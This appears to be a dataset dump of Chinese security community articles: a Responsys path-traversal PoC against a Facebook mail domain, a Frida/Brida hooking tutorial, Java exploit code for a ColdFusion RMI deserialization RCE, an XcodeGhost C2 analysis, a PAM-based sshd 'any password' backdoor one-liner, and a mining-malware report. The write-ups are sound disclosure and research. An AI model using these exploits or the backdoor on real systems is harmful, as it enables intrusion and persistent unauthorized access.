text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】基于云端的本地文件包含漏洞（影响Facebook等多家公司）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://panchocosil.blogspot.cl/2017/05/one-cloud-based-local-file-inclusion.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
****
翻译：[ **童话**](http://bobao.360.cn/member/contribute?uid=2782911444)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
**Hello，大家好！今天我将向大家分享前段时间我是如何挖到的一个基于云端的本地文件包含漏洞。漏洞影响Facebook、Linkedin、Dropbox等多家企业。**
这个LFI（本地文件包含漏洞）的触发点在Oracle Responsys的云系统中。简单介绍一下，Responsys是企业级基于云的B2C系统
。每个企业用户通过专属的ip去使用Responsys 系统。企业用户不能和其他公司分享IP。
**漏洞是如何发现的？**
我像往常一样挖掘漏洞，注意到Facebook的子域名em.facebookmail.com向我发送了一个开发者邮件。举例来说，在我的收件箱中，我收到了一封[email protected]发送的邮件。这勾起了我测试em.facebookmail.com子域名的兴趣。随后我立即dig了一下，我发现这个子域名连接到“Responsys”服务，在之前的渗透测试中还搞过这个。
“Responsys”提供了一个邮件服务（em.facebookmail.com），如上图所示。我在收件箱中看到如下原始链接：
http://em.facebookmail.com/pub/cc?_ri_=X0Gzc2X%3DWQpglLjHJlYQGkSIGbc52zaRY0i6zgzdzc6jpzcASTGzdzeRfAzbzgJyH0zfzbLVXtpKX%3DSRTRYRSY&_ei_=EolaGGF4SNMvxFF7KucKuWNhjeSKbKRsHLVV55xSq7EoplYQTaISpeSzfMJxPAX8oMMhFTpOYUvvmgn-WhyT6yBDeImov65NsCKxmYwyOL0
我发现，为了生成有效的请求，就一定需要使用“_ri_
=”参数。经过一番测试，我发现系统没有正确处理双重URL编码，在参数“_ri_”处使用可以正确生成有效请求的值，我可以在URL路径中注入“%252fetc%252fpasswd”。由于服务端没有对输入做正确的过滤，可以使用目录遍历字符，可以从受影响的服务器中检索内部文件。
**漏洞演示（PoC）**
http://em.facebookmail.com/pub/sf/%252fetc%252fpasswd?_ri_=X0Gzc2X%3DYQpglLjHJlYQGrzdLoyD13pHoGgHNjCWGRBIk4d6Uw74cgmmfaDIiK4za7bf4aUdgSVXMtX%3DYQpglLjHJlYQGnnlO8Rp71zfzabzewzgLczg7Ulwbazahw8uszbNYzeazdMjhDzcmJizdNFCXgn&_ei_=Ep0e16vSBKEscHnsTNRZT2jxEz5WyG1Wpm_OvAU-aJZRZ_wzYDw97ETX_iSmseE
可以看到漏洞已经被复现了，我知道这个LFI（本地文件包含漏洞）不仅影响了Facebook，还影响了许多其他公司。通过专属的ip去使用Responsys系统的企业用户都会受到该问题的影响。
**影响范围**
之后我意识到，这个问题不仅仅影响Facebook，也涉及到其他的企业。通过专属的ip去使用Responsys系统的企业用户都会受到该问题的影响。
通过Google搜索可以看到其他受该漏洞影响的公司。
将参数_ri_中的有效请求值复制到目标公司的站点，我可以使用相同的技术检索内部信息（读取指定位置的文件内容）。
本地文件包含漏洞（LFI）会导致泄露服务器中敏感信息，进一步利用可导致被完全接管。在本篇文章的案例中，最坏的影响是这个漏洞影响了多家公司的数据。
**后记**
我向Oracle报告了这个漏洞，Oracle官方在一周内修复了这个安全问题。 | 社区文章 |
## 前言
之前看了ESE大表哥的`Brida插件加解密实战`,借用ESE表哥的资料的基础上对Frida和Brida插件的一些知识学习和使用做了一个简单的记录。
## 一、Frida
关于Frida的介绍和安装这里就不在重复阐述了，可以参考ESE表哥简述的这篇文章<https://www.jianshu.com/p/c349471bdef7>
#### 1.1Frida使用
对于Frida的使用方法将以一个编写的DEMO来进行展示。在正式使用前需要解释下python下的frida模块的部分函数名的作用和意义。
Python的frida模块提供了frida使用的所有命令的接口函数，下面截图将解一下几个基本函数。第一个是frida.get_usb_device()函数，这个函数是用于获取相应的usb口连接的设备。这边有个坑，大家实体机的时候可能会碰到，取决于设备和数据线的性能，大家可以先踩坑，直接说可能映像不深(滑稽脸)，如下图所示：
赋值的device为一个类对象，该类有如下的属性方法，其中最常用的是attach方法，通过attach方法获取session对象来附加到目标进程中：
attach方法使用返回一个类对象，该类有如下方法，还是挑一个最常用的create_script方法进行讲解，该方法用于创建js脚本代码并将代码注入到目标进程中：
调用create_script方法如下所示，script是frida.core.Script的一个对象常用on和load方法，就成功把js代码注入到com.android.chrome进程中了，如果进程调用open函数，就会通过js代码中的send函数发回message：
然后就是frida的相关HOOK脚本的编写，HOOK脚本的编写套路按下面截图所示就行，需要掌握一点javascript语法知识：
以上是frida模块使用的简单使用，下面开始介绍一下使用frida进行hook加解密方法，实验环境准备了一个简单的apk安装包“eseBrida.apk”和phpstudy搭建的服务端，进行通信演示。
在手机上安装了eseBrida.apk,PC端用phpstudy搭建了相应的服务端，尝试使用Burpsuit抓包看看相应的数据包内容，如下所示：
在DEMO的app中输入相应的用户名密码，点击登录使用BurpSuit查看发现请求包和响应包的数据都是加密的：
使用Jeb反编译相关apk的源码查找到在传送数据包时用于加解密的类方法，如下所示：
点击进入函数得到其调用的是这个包”com.ese.http.encrypt“下的AesEncryptionBase64类中的encrypt和decrypt，故根据上述信息编写相应用于加密解密的HOOK脚本，由上述JEB中加解密函数分析可以知道，app在调用加解密函数时会传入两个参数其中第一个即为key。利用此可以HOOK
app中的加密方法直接打印出相应的加解密key，即使对代码做了混淆等也可以直接输出。调用加密方法的HOOK脚本如下所示：
然后启动在手机中启动frida-server,利用python的frida模块编写相应的进行hook交互的脚本，python脚本如下所示：
运行python的交互式HOOK脚本，在app中的登录框中输入相应的登录名和密码进行登录尝试，app客户端会调用上述的加密方法加密对输入的用户名和密码进行加密，HOOK方法直接HOOK到相应的加密方法，输出传入的key和加密参数以及加密结果，如下所示：
运行的python交互式HOOK加密函数的脚本输出结果如下所示：
同理HOOK解密函数，其HOOK脚本内容如下所示：
Python的交互式输出内容如下所示：
以上就是，Frida内容的简单介绍，下一章节就是Brida插件的使用介绍。
## 二、Brida
#### 2.1 Brida插件使用准备
Brida上文也说到了是一个BurpSuit插件用于连接Frida和BrupSuit，对app进行HOOK其相关函数，重写该函数供BurpSuit进行例如解包拼包操作。该插件虽由java编写，但其核心功能即HOOK和app数据通信是用python来实现的，下载源码从源码中加载的python脚本文件可知，如下图所示：
查看java文件调用相应的python脚本内容，可以发现其主要依赖于pyro4和firda两个模块，如下图所示：
Frida模块上面已经说过即用来调用frida进行HOOK，Pyro4是python的RPC框架即远程过程调用，用Burpsuit的图形化按钮来调用HOOK脚本函数。
Burpsuit中导入安装Brida插件，由上分析可知插件要能正常使用必须依赖于python环境和python的frida、pyro4模块，故首先要安装好上述环境。导入插件，其展示界面如下所示：
Brida的界面如上所示，主要分为三个部分：console输出框用于输出插件启动，调用app，以及运行报错等信息：控制按钮用于用户启动\终止服务，启动或结束app，载入HOOK
js脚本等作用；功能选项中最重要的就是configurations和Excute
method两个，configurations为插件正常运行所需的环境参数配置，如下图所示：
其中选择连接方式就是PC机和手机使用USB线连的还是用远程端口转发的方式连的。查看插件源码也可以看到，当选择remote选项时即调用为python
中firda模块的get_remote_device()方法，local选项即调用了get_usb_device()的方法，脚本源码如下所示：
然后时Excute method功能选项，该功能是提供了一个能够执行HOOK脚本中定义函数的接口界面，如下图所示：
执行的结果输出至console输出台中。
#### 2.2RPC HOOK脚本
由于此处Brida插件通过RPC的方式来调用Frida HOOK出的方法，故此处需要编写相应的rpc调用用于 hook
js脚本，其基本格式在Brida源码中有相应的模板，在RPC函数中写相应的HOOK函数内容就行，如下图所示：
其中默认有四个定义函数分别对应Brida插件的四个快捷键，contextcustom1、contextcustom2用加密解密请求包，contextcustom3、contextcustom4用于加解密相应包：
对应于Brida的如下快捷键，如下所示：
在BurpSuit的Repeater中的请求包快捷如下图所示，Brida Custom1即对应contextcustom1，Brida
Custom2即对应contextcustom2：
相应包也同理：
除了上述默认的函数外，也可以自己定义函数只是没有相关快捷键，可以在Brida插件中的Excute Method功能中调用执行，结果在console台上输出：
在使用Brida插件使用RPC调用HOOK函数输出到Burpsuit的界面中有一个需要注意的是，BurpSuit输入输出接口中的数据是以16进制编码后的字符串来传递的，因此RPC脚本中需要定义字符转16进制字符的函数和相应反转函数，这个在Brida给的脚本模板中有编写了相应的函数（转换函数只作用于默认快捷键函数）
如果为图片等字节流，可采用byte转成16进制函数，如下所示：
#### Brida使用
根据上述介绍，在Brida插件的configurations中输入相应的配置信息，包括系统python执行路径、rpc启动地址和端口、frida的HOOK脚本路径、app包名、获取方式，如下所示：
编写的相关HOOK脚本函数contextcustom1、contextcustom2，contextcustom3、contextcustom4同理如下所示：
加密函数：
解密函数：
点击start server 启动服务，在点击spawn application启动app，在点击reload
JS将脚本导入Frida中进行HOOK，如下图所示：
Brida点击Spawn自动打开了相关app，在app中输入用户名、密码BrupSuit抓到相应数据包，发送至repeate如下所示：
选中要解密的内容，调用Brida custom2快捷键成功解密请求包内容，如下所示：
选中要加密的内容，使用Brida Custom1快捷键即调用加密函数将相应内容加密，如下所示：
加解密返回包也是同样的原理，如下所示：
**参考链接**
* <https://github.com/federicodotta/Brida/releases>
* <https://blog.csdn.net/xiaolewennofollow/article/details/52155457>
* <https://www.jianshu.com/p/c349471bdef7>
* <https://frida.re/docs/>
* <https://bbs.pediy.com/thread-248977.htm>
* <https://www.freebuf.com/sectool/143360.html> | 社区文章 |
# ADOBE ColdFusion Java RMI 反序列化 RCE 漏洞详情(CVE-2018-4939)
##### 译文声明
本文是翻译文章，文章原作者 NickstaDB，文章来源：nickbloor.co.uk
原文地址：<https://nickbloor.co.uk/2018/06/18/another-coldfusion-rce-cve-2018-4939/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2017年10月我发布了一个[Java RMI/反序列化漏洞](https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/)的概述和PoC视频，该漏洞影响了AdobeColdFusion的Flex集成服务。我推迟发布所有细节和利用方法，因为发现了一个额外的可用于修复服务器的payload。
Adobe现在已经发布了进一步的[安全更新](https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html)，可以点击链接了解更多详细信息。
## RMI和java.lang.Object
Java远程方法调用(RMI)协议几乎是100%
[Java序列化](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/)。当从RMI注册表服务请求一个对象并在该对象上调用方法时，通过网络传输的数据采用Java序列化格式。ColdFusion的Flex集成RMI服务公开了以下类的一个对象：
coldfusion.flex.rmi.DataServicesCFProxy
这个类可以在ColdFusion Installation目录中的“libs/cfusion.jar”文件中找到，如下所示：
package coldfusion.flex.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;
public abstract interface DataServicesCFProxy extends Remote
{
public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException;
}
这些方法中的每一个都可以用 **任何**
Java对象作为参数来调用。请注意，诸如List和Map之类的容器可以包含任何Java对象。与此RMI服务交互不需要身份验证，因此任何可以通过网络访问该服务的人都可以向该服务提供任意Java对象，以试图利用Java反序列化攻击(例如，通过[ysoserial](https://github.com/frohoff/ysoserial)
payload作为参数)。
不幸的是，没有一个ysoserial payload起作用。
在我上一篇关于ColdFusion
CVE-2017-11283和CVE-2017-11284的文章中谈到了我是如何修改了一个payload来成功利用这个入口并使用Mozilla Rhino
JavaScript库获得远程命令执行的。在本例中使用技术和入口保持不变，但是我们针对的是与ColdFusion捆绑在一起的[ROME库](https://rometools.github.io/rome/)(请参见“libs/rome-cf.jar”)。
## 利用-简单的方法
下面是一个简单的RMI客户端程序，它从RMI注册表服务中检索ColdFusion
DataServicesCFProxy对象，然后使用NULL参数调用RemoteCount()方法：
package nb.barmie.demo;
import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIDemo {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, null, null);
}
}
count()方法的第二个参数是java.lang.Object数组，这意味着我们可以在该参数中提供任意对象，它们将在服务器上反序列化。我们可以在运行时使用索引库来生成任意的payload对象，并将其传递给count()方法，但是，索引库的payload与ColdFusion捆绑在一起的ROME版本是不兼容的。如果我们尝试这样做，服务器将显示服务端类与通过网络发送的序列化对象不兼容。这是因为serialVersionUID字段不匹配，类似于我之前描述的针对Mozilla
Rhino的攻击。
在2018年4月更新之前，利用ColdFusionRMI服务的最简单方法是重新构建ysoserial。与其针对ROME
1.0(Maven依赖项)构建ysoserial，不如在ColdFusion Installation目录中的“libs/rome-cf.jar”上构建它。这样就可以使用以下代码生成和注入payload了：
package nb.barmie.exploit.standalone;
import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIExploit {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, new Object[] {
new ROME().getObject(args[2])
}, null);
}
}
使用以下参数运行：host, port, command。
## 利用-BaRMIe！
在RMI安全性方面做了大量工作之后，我选择在我的RMI枚举和攻击工具BaRMIe中实现一个漏洞。这是一个更复杂的利用，但也更强大。我将在不久的将来发布这个版本的漏洞，但现在我将为对它感兴趣的人解释它是如何工作的！
### RMI背景知识
远程方法调用涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册服务，通常位于TCP端口1099，它本质上是一个目录服务，其中Java对象引用绑定到名称。下面代码的第4行连接到10.0.0.30：1099上的RMI注册表服务，并请求引用绑定到名称“foo”的对象：
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
}
}
第二个网络服务用于与对象本身通信。当对象绑定到RMI注册表中的给定名称时，可以找到对象的主机和端口存储在注册表中。从RMI注册表中检索对象引用时，RMI注册表服务返回的数据包括对象的网络服务的主机和端口。下面代码中的第5行连接到RMI对象服务，并调用Method()方法：
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
obj.someMethod("String Param");
}
}
### 中间人攻击
在构建Barmie时，我希望尽可能多地使用payload，而不必与依赖项和多个依赖项版本作斗争。实现这一点的方法是使用硬编码的静态paylaod，并动态生成部分内容(例如，命令字符串和相应的长度字段)。问题是，无法在接收服务器将这些字节反序列化的情况下从RMI连接中本地抽取任意字节。为了实现这一点，我构建了一个代理框架，允许我在两个连接实现中间人攻击。它的工作如下：
1. 启动RMI注册表代理，将连接转发到目标RMI注册表
2. 使用RMI注册表代理的主机和端口调用LocateRegistry.getRegistry()，而不是RMI注册表服务的主机和端口
3. 通过RMI注册表代理调用Registry.lookup()检索远程对象引用(将请求转发给真正的RMI注册表服务)
4. 当RMI注册表代理检测到返回远程对象引用时：
1. 它启动一个RMI方法代理，将连接转发到真正的RMI对象服务。
2. 它将远程对象引用修改为指向新的RMI方法代理，而不是实际的RMI对象服务。
5. 在远程对象引用上调用方法时，通过RMI代理连接。
通过代理进行远程方法调用，我可以完全控制协议，并且可以操作Java虚拟机本来会阻止我操作的东西。这方面的一个很好的例子是，我们无法向期望java.lang.String类型的参数的远程方法提供任意对象参数，但是，如果我们使用代理在网络级别修改出站远程方法调用，那么我们可以提供一个任意对象，服务器将反序列化它。
使用RMI方法代理，我们可以正常方式对远程方法发出调用，但使用占位符参数而不是payload对象。当方法代理检测到表示该占位符对象的字节时，它可以用表示任意反序列化payload的字节流替换这些字节。
### 完善payload
当我第一次在ColdFusion Installation目录中发现“libs/rome-cf.jar”文件时，我所做的第一件事就是在Barmie中创建一个利用RMI方法代理的漏洞，它使用一个RMI方法代理，根据来自 ysoserial的ROME
payload注入两个payload。这两种方法都没有成功，但是服务器的响应表明本地类是不兼容的，并给了我服务器端类的SerialVersionUID。通过多次修改payload，使得序列化VersionUID值与服务器上的值匹配，我再次实现了针对ColdFusion的远程命令执行。
### Bonus：攻击“内部”服务
考虑到我上面详述的容易利用的特性，所有这些代理看起来都很费劲，但实际上Barmie中已经有了支持功能，所以开发这个漏洞只花了半个小时。
除了我之前提到的控制在Java虚拟机的限制之外的东西之外，还有一个额外的好处，但这一点绝对值得再提一次。许多“内部”RMI服务实际上并不是内部的。你可以将对象绑定到RMI注册中心，并且给人的印象是它们被绑定到例如127.0.0.1或10.0.0.30，甚至你自己的主机。如果外部攻击者使用上述简单攻击来检索对这些对象的引用，则它们将无法攻击RMI服务，因为它们无法访问这些内部地址。
但是，默认情况下，RMI对象服务绑定到所有网络接口。假设目标的外部地址为8.8.8.9，RMI注册表返回指向目标内部地址10.8.8.9：30001的对象引用。默认情况下，可以通过连接到外部地址上的相同端口(8.8.8.9：30001)访问同一个对象。通过代理RMI注册表连接，我们可以检测到这一点，并自动修改RMI连接，以启用对似乎在内部绑定的对象的攻击。
## 引用
* 我之前的ColdFusion漏洞的详细信息：<https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/>
* Adobe安全更新APSB 18-14：<https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html>
* 攻击Java反序列化：<https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/>
* ysoserial：<https://github.com/frohoff/ysoserial>
* ROME库：<https://rometools.github.io/rome/>
* Barmie RMI枚举和攻击工具：<https://github.com/NickstaDB/BaRMIe>
审核人：yiwang 编辑：边边 | 社区文章 |
# 你以为服务器关了这事就结束了？ - XcodeGhost截胡攻击和服务端的复现，以及UnityGhost预警
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/papers/9024>
译文仅供参考，具体内容表达以及含义原文为准。
作者:没羽,蒸米,阿刻,迅迪 @ 阿里移动安全
**0x00 序**
截胡,麻将术语,指的是某一位玩家打出一张牌后,此时如果多人要胡这张牌,那么按照逆时针顺序只有最近的人算胡,其他的不能算胡。现也引申意为断别人财路,在别人快成功的时候抢走了别人的胜利果实。
虽然XcodeGhost作者的服务器关闭了,但是受感染的app的行为还在,这些app依然孜孜不倦的向服务器(比如init.icloud-analysis.com,init.icloud-diagnostics.com等)发送着请求。这时候黑客只要使用DNS劫持或者污染技术,声称自己的服务器就是”init.icloud-analysis.com”,就可以成功的控制这些受感染的app。具体能干什么能,请看我们的详细分析。
另外,有证据表明unity 4.6.4 – unity
5.1.1的开发工具也受到了污染,并且行为与XcodeGhost一致,更恐怖的是,还有证据证明XcodeGhost作者依然逍遥法外,具体内容请查看第三节。
PS:虽然涅槃团队已经发出过攻击的demo了2,但很多细节并没有公布。所以我们打算在这篇文章中给出更加详细的分析过程供大家参考。
**0x01通信协议分析**
在受感染的客户端App代码中,有个Response方法用于接收和处理远程服务器指令。
Response方法中根据服务器下发的不同数据,解析成不同的命令执行,根据我们分析,此样本大致支持4种远程命令,分别是:设置sleep时长、窗口消息、url
scheme、appStore窗口。
通过4种远程命令的单独或组合使用可以产生多种攻击方式:比如下载安装企业证书的App;弹AppStore的应用进行应用推广;弹钓鱼页面进一步窃取用户信息;如果用户手机中存在某url
scheme漏洞,还可以进行url scheme攻击等。
其通信协议是基于http协议的,在传输前用DES算法加密http body。Response方法拿到服务器下发送的数据后,调用Decrypt方法进行解密:
如果解密成功,将解密后的数据转换成JSON格式数据:
然后判断服务器端下发的数据,执行不同的操作。如下面截图是设置客户端请求服务端器sleep时长的操作:
**0x2恶意行为分析及还原**
在逆向了该样本的远程控制代码后,我们还原了其服务端代码,进一步分析其潜在的危害。
首先我们在服务端可以打印出Request的数据,如下图:
红色框标记的协议的头部部分,前4字节为报文长度,第二个2字节为命令长度,最后一个2字节为版本信息,紧跟着头部的为DES的加密数据。我们在服务端将数据解密后显示为:
这里有收集客户端信息上传到控制服务器。
同样我们返回加密数据给客户端:
明文信息为:
客户端根据App的运行状态向服务端提供用户信息,然后控制服务器根据不同的状态返回控制数据:
**恶意行为一 定向在客户端弹(诈骗)消息**
该样本先判断服务端下发的数据,如果同时在在“alertHeader”、“alertBody”、“appID”、“cancelTitle”、“confirmTitle”、“scheme”字段,则调用UIAlertView在客户端弹框显示消息窗口:
消息的标题、内容由服务端控制
客户端启动受感染的App后,弹出如下页面:
**恶意行为二 下载企业证书签名的App**
当服务端下发的数据同时包含“configUrl”、“scheme”字段时,客户端调用Show()方法,Show()方法中调用UIApplication.openURL()方法访问configUrl:
通过在服务端配置configUrl,达到下载安装企业证书App的目的:
客户端启动受感染的App后,目标App将被安装:
**恶意行为三 推送钓鱼页面**
通过在服务端配置configUrl,达到推送钓鱼页面的目的:
客户端启动受感染的App后,钓鱼页面被显示:
**恶意行为四 推广AppStore中的应用**
通过在服务端配置configUrl,达到推广AppStore中的某些应用的目的:
phishing1.html页面内容:
客户端启动受感染的App后,自动启动AppStore,并显示目标App的下载页面:
**0x03 UnityGhost?**
在大家以为一切都完结的时候,百度安全实验室称已经确认”Unity-4.X的感染样本”。并且逻辑行为和XcodeGhost一致,只是上线域名变成了init.icloud-diagnostics.com。这意味,凡是用过被感染的Unity的app都有窃取隐私和推送广告等恶意行为。
Unity是由Unity
Technologies开发的一个让玩家创建诸如三维视频游戏、实时三维动画等类型互动内容的多平台的综合型游戏开发工具,是一个全面整合的专业游戏引擎。很多有名的手机游戏比如神庙逃亡,纪念碑谷,炉石传说都是用unity进行开发的。
更令人恐怖的是,在百度安全实验室确认后没多久,大家就开始在网上寻找被感染的Unity工具,结果在我搜到一个Unity3D下载帖子的时候发现”codeFun与2015-09-22
01:18编辑了帖子”!?要知道codeFun就是那个自称XcodeGhost作者的人啊。他竟然也一直没睡,大半夜里一直在看大家发微博观察动静?随后发现大家知道了Unity也中毒的事情,赶紧去把自己曾经投毒的帖子删了?
现在再去看那个帖子已经被作者删的没有任何内容了。。。
http://game.ceeger.com/forum/read.php?tid=21630&fid=8
但根据XcodeGhost作者没删之前的截图表明,从unity 4.6.4 – unity 5.1.1的开发工具都有可能被投毒了!
**0x04 总结**
虽然病毒作者声称并没有进行任何广告或者欺诈行为,但不代表别人不会代替病毒作者进行这些恶意行为。并且作者依然还在逍遥法外!所以立刻!马上!删掉那些中毒的app吧!
**0x05 参考资料**
涅槃团队:Xcode幽灵病毒存在恶意下发木马行为 <http://drops.wooyun.org/papers/8973>
XcodeGhost 源码 <https://github.com/XcodeGhostSource/XcodeGhost> | 社区文章 |
Author:Sevck
## 起因
今天在搜索关于Linux下的后门姿势时，发现一条命令如下：
软链接后门：
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
经典后门。直接对sshd建立软连接，之后用任意密码登录即可。
ssh [email protected] -p 5555这个是大家也经常会用到的命令，但是在好奇心的驱使下，为什么任意密码就可以了？
于是搜索了相关的资料，发现都是执行了这条命令就可以免密码登录了，但是为什么却没有一篇详细的解答。
## 调查
首先测试一下这个命令：
在A的机器上执行了如下命令:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
在B机器SSH登录A机器，输入任意密码，成功登录。
先理解这条命令主要在做什么：
首先，做一个软链接，结果在/tmp/su 参数的意义： -o option -p port
这样就开启了一个端口为5555的服务：
测试过程中发现，只允许命名为su，命名其他尝试登录都不成功(/tmp/xxx)。
于是看了一下sshd相关的log，发现如下：
发现是基于pam认证的，使用了pam中的su，为了区分是否和/bin/中的su是否相关，做了测试如下：
把/bin/su 重新命名为其他文件，发现依然能够任意密码登录，又做了测试如下：
cp /etc/pam.d/su /etc/pam.d/xxx
在此执行：
ln -sf /usr/sbin/sshd /tmp/xxx; /tmp/xxx -oPort=5555;
成功登录，根据日志和实践现在确认调用的是/etc/pam.d/su
## 疑问
现在确认了是pam中的su导致的，为什么就不需要密码就可以登录？
简单的diff了一下pam中的sshd和su的区别：
这里需要了解一下PAM中的控制标记：
sshd的pam认证使用了required和include，su使用了sufficient，在此就可以看出二者的区别了。
我们发现su的认证使用了pam_rootok.so，他是如何验证的，为什么导致我们输入任何密码就通过。
于是查了下pam_rootok.so的相关信息：
他的认证模块是认证你的UID是否为0，他会return pam的结果。
再去看一下pam_rootok.so的源码，发现：
他先会调用getuid()，如果get的uid为0，他会检查selinux的root是否为0或是否启用selinux下为0，返回认证成功，否则认证失败。
那么getuid()是从哪里来的，查一下官网：
是根据进程来取得的，根据pam_rootok的文档，我们也可以对su进行调试：
pam_rootok.so返回成功，依次向下执行so，都会成功，建立会话。
查看log:
第一条：
pam_rootok(su:auth): authentication succeeded
## 真相
至此也终于清楚了为什么就可以输入任意密码进行登录。
我们重新捋一捋：
## 彩蛋
实际的真相就是在pam中的pam_rootok模块,pam_rootok通过了认证还会一次向下执行，但是下面的都会依赖于pam_rootok的认证，auth
=>account =>session：
通过查找其实不单单是su存在pam_rootok,只要满足了上述的三个条件都可以进行"任意密码登录"。
## 参考资料
* <https://linux.die.net/man/8/pam_rootok>
* <https://fossies.org/dox/Linux-PAM-1.3.0/pam__rootok_8c_source.html>
* <https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c.html>
* <https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c_source.html>
* <http://man7.org/linux/man-pages/man2/getuid.2.html>
* <http://www.tuxradar.com/content/how-pam-works>
* <http://www.centoscn.com/CentOS/help/2014/0504/2899.html> | 社区文章 |
# 云挖矿 — 一种新的潮流
##### 译文声明
本文是翻译文章，文章原作者 Anton Ivanov, Evgeny Lopatin，文章来源：securelist.com
原文地址：<https://securelist.com/mining-is-the-new-black/84232/>
译文仅供参考，具体内容表达以及含义原文为准。
去年，我们发布了一个报道，揭示全球矿工的崛起。 当时我们发现了赚取数百万美元的僵尸网络。 我们知道这只是故事的开始，后来发展得很快。
与世界其他地区一起，我们一直在关注加密货币的上涨，例如，比特币和Altcoin的价格在2017年持续创下纪录。
**2017年比特币和Altcoin的价格上涨**
虽然有些人花时间谈论市场和全球经济的好坏，但我们已经看到，价格的飙升无疑是对被威胁的参与者的一种呼吁，这也意味着网络犯罪分子有更好的赚钱机会。
结果表明，许多网络犯罪团伙已经转向恶意挖矿者，加密货币矿工的用户数量所急剧性增加，到2017年底，我们发现，有270万用户受到矿工的恶意袭击 –
这比2016年（1.87亿）高近1.5倍。
**2017年在卡巴斯基实验室用户受到恶意矿工攻击的数量**
他们变得如此活跃和流行，甚至连勒索软件在过去的几年里都让世界感到恐惧，似乎都为了这个威胁而放弃了。
以下是一些原因：
首先，矿工和勒索软件都有明确的货币化模式。 在使用勒索软件的情况下，攻击者感染PC，解密文件并收取用户的赎金。
矿工模型的简单性非常类似：攻击者感染受害者，再用CPU或GPU进行挖矿，并通过法律交换和交易赚取真金白银。
## 矿工的货币化结构
其次，与勒索软件不同，用户很难理解他们是否被矿工感染。 一般来说，用户使用他们的电脑上网，该活动对于CPU而言不是很高。
其他70-80％的CPU功率被挖掘程序使用，其中一些具有特殊功能，以便在需要执行另一个资源要求较高的程序（例如视频游戏）时减少挖掘能力或取消进程。
最重要的是，现在制造自己的虚拟货币非常容易。有兴趣的人可以得到他们需要的一切：
* 准备好使用合作伙伴计划
* 开放的矿池
* 很多矿工建设者
我们发现，最受威胁人员欢迎的矿池是Nanopool。
**合法矿池的使用统计**
如果矿工使用开放的资金池，那么就有可能发现他们能赚多少钱
此外，根据我们的数据，80%的非法矿工都有合法矿工的公开源代码，或者只是一个被包装的合法矿工。
## 传播的方法
通常，威胁行为者与可能不需要的应用（PUA）合作伙伴合作来传播矿工。然而，一些小的犯罪集团试图通过使用不同的社会工程技巧来传播恶意软件，比如伪造的彩票等等。潜在的受害者需要从文件共享服务中下载一个随机数字的生成器，并在PC上运行这个程序来参与。这是一个简单的技巧，但却很有成效。
另一个流行的方法是通过在浏览器中执行的特殊脚本进行Web挖掘。例如，在2017年，我们的安全解决方案已经停止了超过7000万次网络矿工的发布。
网络犯罪分子使用的最流行的脚本是Coinhive，通常在野外使用的案例是流量很大的网站。只要这些网站上的用户会话时间越长，网站所有者从采矿中获得的收益就越多。涉及Coinhive的重大事件是黑客入侵的网页，例如海盗湾案，YouTube广告或用UFC紧急通行证进行挖掘。然而，其合法使用的其他例子也是已知的。
还有其他组织，不需要向许多人传播矿工。 相反，他们的目标是大公司的强大服务器。
因此，例如，Wannamine利用EternalBlue漏洞在内部网络中传播，并以这种方式赢得了9000个Monero（约200万美元）。
然而，第一个使用EternalBlue漏洞的矿工是Adylkuzz。
在我们以前的研究中，我们描述了另一个矿工家庭成员——绕线机，它利用额外的服务来恢复被AV产品删除的矿工。 该僵尸网络赚了50万美元。
## 技术的复杂性
今年，我们正在观察下一个趋势——矿工背后的威胁因素已经开始使用来自目标攻击的恶意软件技术。我们的最新发现是“空心”矿工使用了一种加工中空技术。
在这种情况下，感染载体是一个PUA模块。 受害者可能只是想下载一个合法的应用程序，但他们却下载了一个带有矿工安装程序的PUA。
该矿工安装程序释放一个随机名称的合法Windows实用工具msiexec，该程序从远程服务器下载并执行恶意模块。
